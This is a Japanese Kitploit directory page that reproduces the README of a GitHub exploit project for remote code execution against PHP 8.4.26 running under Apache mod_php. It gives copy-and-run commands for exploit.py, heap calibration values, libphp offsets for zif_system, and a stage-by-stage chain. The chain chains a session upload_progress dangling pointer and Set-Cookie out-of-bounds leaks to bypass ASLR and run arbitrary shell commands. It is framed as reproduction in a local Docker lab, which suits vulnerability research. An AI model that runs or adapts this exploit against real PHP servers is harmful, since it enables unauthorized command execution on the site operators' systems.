Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
php2shell-bypass-aslr-exp — PHP 8.4.26 + Apache mod_php において、セッションの upload_progress によるヒープリーク、ダングリングポインタの再利用、および ASLR バイパスを組み合わせて zif_system を呼び出す、RCE を実現する純粋な HTTP エクスプロイト。 | Kitploit
ツール/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
メモリフォレンジック脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究リモートアクセスツールバイナリエクスプロイト
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

PHP 8.4.26 + Apache mod_php において、セッションの upload_progress によるヒープリーク、ダングリングポインタの再利用、および ASLR バイパスを組み合わせて zif_system を呼び出す、RCE を実現する純粋な HTTP エクスプロイト。

リポジトリを見る
6612442411日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

php2shell — PHP 8.4.26 セッション脆弱性再現

中文 | English

「完全リモート、HTTP のみ、対象ページに session_start() なし、対象側に PHP を一切書かない」という制約の下で、単一の exploit.py を用いて PHP 8.4.26 + Apache prefork + mod_php の RCE を成立させる。公式の php:8.4.26-apache イメージで 3/3 のワンクリック成功を実測済み(PROOF: uid=33(www-data)...)。現行バージョンは display_errors=1 を要求する。display_errors=0 については純粋な HTTP によるヒープリークまで成立済みで、完全な RCE は後日提交する。

exp

以下はゼロから RCE までの完全なコマンドであり、そのままコピーして実行すればよい。本リポジトリは PHP/Apache をコンパイルせず、docker build も行わない。環境は公式の php:8.4.26-apache イメージに docker/ 配下の設定マウントを加えたものである。

# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

すでにリポジトリのディレクトリ内にいる場合は git clone/cd をスキップしてください。pull も省略可能で、up -d が自動的にイメージを取得します。

exploit.py は worker のローテーション、2 段階リーク、zif_system の実行、proof の読み取りを自動で行い、各段階にリトライが組み込まれています。実行環境:

コンポーネントバージョンソース
PHP8.4.26(NTS、mod_php)php:8.4.26-apache
ベースシステムDebian 12 (bookworm)同上
Apache2.4.69(公式イメージ内の Debian 12 パッケージ、実測)同上
MPMprefork、単一 workerdocker/apache.conf
lab レポート内の Apache2.4.68(元の lab で自前ビルド、--profile lab)完全に一致させる必要がある場合は、apache/httpd の 2.4.68 タグを使用

公式イメージリポジトリ:docker-library/php(Docker Hub: php:8.4.26-apache);PHP ソースコード:php/php-src(tag php-8.4.26)。

初回実行時に docker/offsets.py が自動的に実行されます:コンテナ内の libphp.so から zif_system / zval_ptr_dtor の実際のオフセットを読み取り out/offsets.env に書き込み、exploit.py が自動的に読み込むため、公式イメージを変更したりアップグレードした後でもオフセットを手動で修正する必要はありません。デフォルトのコマンドは id>/out/p1(10 バイト)で、コンテナ内の /out はリポジトリの ./out にマウントされるため、proof は直接ローカルに出力されます:

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

payload 内のコマンド上限は 14 バイトです。任意のコマンドを実行するには、スクリプトをマウントディレクトリに書き込み、sh</out/c(8 バイト)で実行します:

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

常用パラメータ:--profile、--cmd、--proof-file、--fetch、--zif-offset、--dtor-offset、--htdata-offset、--no-pre-rotate、--retries。デフォルトの profile は bookworm(公式イメージ)です。元の lab ビルドでは --profile lab を使用します。--offsets-file '' で自動読み取りを無効にでき、コンテナ名が php2shell-target でない場合は --docker-container で指定します。

bookworm のヒープキャリブレーションは組み込み済みです:stage1 の filler 数は 841、stage2 のターゲット配列は 406、要素値の長さは 16、stage3 は HTDATA=chunk+0x690d8 で、A の pad は 6×(31,31) であり、さらに 32 文字の正当な Cookie: PHPSESSID を付加することで、B が stale id を再利用(send_cookie=0)し、session の Set-Cookie ヘッダが R0+16 で val.type を上書きするのを回避します。B は 15B の carrier で reference の val.value を上書きします。公式イメージの libphp オフセットは自動的に zif_system=0x465370、zval_ptr_dtor=0x65eb60 として読み取られます。元の lab では 0x43a870 / 0x613c50 を使用します。

メカニズム概要

脆弱性の表面は、session.upload_progress が RINIT より前に引き起こす session 初期化、および OOM bailout 後にリクエストをまたいで残留するダングリングポインタである。以下では lab ビルドを例に挙げる。公式イメージの bookworm でのキャリブレーション値は exp の末尾を参照。

チェーン全体の攻撃トラフィックはすべて通常の multipart HTTP であり、ターゲットページは <?php echo "OK\n"; ?> のみです:

  1. worker ローテーション:A_bigfields(3MB の生存 POST フィールド + 12MB の OOM)の直後に、session を初期化する B が続き、child は SIGABRT で終了する。prefork で fork された新しい worker は同じ libphp/chunk マッピングを継承する。

  2. ヒープリーク:A は 1001 個のフィールドで max_input_vars 警告を発生させ(display_errors=On → headers_sent=1)、PHPSESSID=\x00 が新しい id を生成して send_cookie=1 を設定し、最後の 12MB フィールドが php_session_initialize() 内で OOM し、PS(http_session_vars) がダングリングする。B は 56B の multipart 生値バッファで古い reference を再占拠し、生存する 192B の zend_string で fake HashTable を保持する。php_url_encode() の範囲外読み取りが Zend MM chunk ポインタを Set-Cookie に書き込む(4096B、98 個のポインタ)。

  3. libphp リーク:A はダングリングした PS(id) を chunk+0xb7400 に配置する。B の 56B HashTable ページにより ZSTR_LEN(PS(id)) が nTableSize=16 を読み取り、データ領域はちょうど nNextFreeElement|pDestructor になる。pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50 であり、Set-Cookie から libphp base を復元する。

  4. コマンド実行:A は 6 個の pad でダングリング reference を R0=chunk+0x24e0 に固定する。B は 55B の raw buffer で R0-0x10 を上書きし、fake HashTable を chunk+0x6e0d8 の 167B の生存文字列に配置し、pDestructor = zif_system = libphp+0x43a870 とする。トリガーチェーン:

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    ターミナルは libphp 内の zif_system のみを使用し、libc は不要です。

メカニズム分析

  • ページに session_start() が不要な理由:A/B の session 初期化は RINIT 前の multipart コールバック内で発生し(FILE_START → php_session_rfc1867_update → php_session_initialize();END → php_session_rfc1867_cleanup → php_session_initialize())、スクリプトの内容とは無関係です。
  • ポインタがダングリングする理由:A は php_session_initialize() 内で OOM bailout し、PS(http_session_vars) / PS(id) がクリアされません。次のリクエストが session を初期化する際、php_session_track_init() がそれに対して zval_ptr_dtor を実行します。
  • 再占領できる理由:multipart の通常フィールドの値はリクエスト解析段階で zend_string として割り当てられます。56B ブロック、55B リファレンス、167B 文字列といったサイズがちょうど古いリファレンスを覆い、fake HashTable を載せます。
  • ASLR を回避できる理由:2 回の Set-Cookie 越境読み取りがそれぞれ chunk base と libphp base を提供します。フェーズ間は純粋な HTTP abort/fork で worker を切り替え、アドレス空間は変わりません。ターミナルは libc に依存しません。
  • 歴史的経緯:session_unset() + ユーザーランド __destruct による Defect D(arData UAF)はすでにカスタム PHP ページで RCE を取得しています(NOASLR_REPORT.md)が、「特定の PHP を書かない」という制約に違反するため、メカニズムの参考としてのみ扱います。

アドレス/オフセット(chunk または libphp 相対、ASLR とは無関係):

位置意味
chunk+0xb7400フェーズ 2 のダングリング PS(id)
chunk+0xb73f0フェーズ 2 のターゲット HashTable(a0443)
chunk+0x6e0d8フェーズ 3 の fake HashTable 文字列データ
chunk+0x24e0フェーズ 3 のダングリングリファレンス R0
libphp+0x613c50ZVAL_PTR_DTOR
libphp+0x43a870zif_system

上の表は lab ビルド(--profile lab)です。公式イメージ(デフォルト --profile bookworm)の対応する較正値は次のとおりです:stage1 の filler 数 841;stage2 のターゲット配列 406、要素値の長さ 16;stage3 は HTDATA=chunk+0x690d8、A は 6×(31,31) をパディングし、32 文字の正当な Cookie: PHPSESSID を伴い、B は 15B のキャリアを使用;libphp のオフセットは docker/offsets.py によって自動的に読み取られます(0x465370 / 0x65eb60)。

詳細なメカニズム、gdb の証拠、リクエストのキャリブレーションについては HTTP_HEAP_LEAK.md(ヒープリーク)、ASLR_PURE_HTTP.md(libphp リークと全チェーン)、DISPLAY_ERRORS_OFF.md(display_errors に依存しないリーク)、NOTES.md(根本原因とソース位置)を参照してください。

再現に関する声明

ツールをダウンロード